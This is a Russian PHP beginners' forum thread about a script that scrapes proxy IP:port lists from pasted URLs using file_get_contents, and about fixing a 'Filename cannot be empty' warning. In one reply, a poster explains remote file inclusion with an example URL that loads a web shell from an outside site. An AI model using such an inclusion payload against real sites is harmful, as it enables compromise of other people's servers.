Форум программистов, компьютерный форум, киберфорум
PHP для начинающих
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.77/13: Рейтинг темы: голосов - 13, средняя оценка - 4.77
1 / 1 / 2
Регистрация: 26.09.2010
Сообщений: 73
1

Ошибка при парсинге

11.03.2011, 12:25. Показов 2369. Ответов 5
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<form action="" method="post" name="s">
<textarea cols="50" rows="10" name="area"></textarea><br><br>
<input type="submit" value="       Начать       ">
</form>
 
</center>
</body>
</html>
<?
if(isset($_POST['area'])){
echo '<textarea cols="30" rows="60" readonly>';
$array=explode("\r\n",$_POST['area']);
for ($i=0;$i<=count($array)-1;$i++) 
{
preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:(\d){2,5}#is",file_get_contents($array[$i]),$proxy);  
foreach($proxy[0] as $s) 
{ 
echo($s."\r\n"); 
}
}
echo '</textarea>';
}
?>
получаю ошибку:
HTML5
1
<b>Warning</b>:  file_get_contents() [<a href='function.file-get-contents'>function.file-get-contents</a>]: Filename cannot be empty in <b>../index.php</b> on line <b>19</b><br />
в чем проблема?
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
11.03.2011, 12:25
Ответы с готовыми решениями:

Ошибка при парсинге большого XML (190МБ)
Здравствуйте. При переносе магазина на другой vps сервер столкнулся с ошибкой в парсере xml файла...

Кодировка при парсинге
не пойму что не так с кодировкой и как ее настроить правильно, а именно вот наглядный пример ...

Кодировка при парсинге
Здравствуйте, господа. Вопрос, наверно, набивший оскомину, про кодировки при парсинге...

Не действует тег <br> при парсинге
почему то не действует тег &lt;br&gt; при парсинге названий смартфонов с сайта. скрин прикрепляю ...

5
13208 / 6597 / 1041
Регистрация: 10.01.2008
Сообщений: 15,069
11.03.2011, 14:31 2
Цитата Сообщение от xhugo Посмотреть сообщение
в чем проблема?
Говорит, что Вы передаете пустую строку в качестве имени файла в функцию file_get_contents().
0
272 / 115 / 18
Регистрация: 26.12.2010
Сообщений: 472
03.04.2011, 14:55 3
У меня похожий вопрос, но тоже по парсингу. Пробую писать простой парсер (по видеоурокам), есть код:
PHP
1
2
$url="http://какой-то сайт";
$content=file_get_contents($url)
;
И вот,на очень многих сайтах функция не работает. То показывает ошибки, то вообще белый экран (т.е. результатов парсинга нет).

Поискав немного в инете, увидел что все советуют использовать курл и юзерагент как у браузеров. Но почему так - это защита от чего то? И - можно ли использовать юзерагент вместе с этой функцией file_get_contents ? Если да, то как?
0
0 / 0 / 1
Регистрация: 01.11.2010
Сообщений: 33
03.04.2011, 18:58 4
На некоторых хостингах запрещен удаленный инклюд.
Отвечаю зачем : Если на сайте есть LFI уязвимость, то можно подгрузить свой шелл с удаленного сайта, например было : site.ru?include=index.php а ты вместо этого вписал site.ru?include=http://tvoisait.ru/shell.php?? и тем самым загрузил свой php файл на его хостинг.
Если такая защита стоит то нельзя.
Хочешь подробнее впиши PHP injections в yandexe или гугле)
0
14 / 50 / 3
Регистрация: 26.12.2009
Сообщений: 406
04.04.2011, 18:02 5
file_get_contents это не удаленный инклюд!

Почему получается пустой файл:
проверка на юзерагент

Почему ошибка у топикстартера:
PHP
1
$array=explode("\r\n",$_POST['area']);
попробуйте заменить на
PHP
1
$array=explode("\n",$_POST['area']);
0
272 / 115 / 18
Регистрация: 26.12.2010
Сообщений: 472
10.04.2011, 00:14 6
seofilms, но у меня это не работает на денвере..

Madrid, а можно добавить юзер агент при работе с этой функцией? Или без курла никак совсем?(
0
10.04.2011, 00:14
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
10.04.2011, 00:14
Помогаю со студенческими работами здесь

Неправильная кодировка при парсинге
Привет всем. Извеняюсь, что создал ещё одну тему. Просто нужно решить одну проблему. Использую...

Сохранения картинок при парсинге
Добрый день Гуру!!!Подскажите, парсю сайт с помощью (phpQuery) все что нужно получаю , но ни как не...

Пагинация при парсинге (phpQuery)
Добрый день Всем! Народ, подскажите, значит есть на сайте пагинация. &lt;div class=&quot;right...

Ошибки при парсинге на PHP
В данном куске кода страницы мне нужно извлечь текст из тегов &lt;option&gt;: &lt;td&gt;&lt;select name=&quot;make&quot;...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru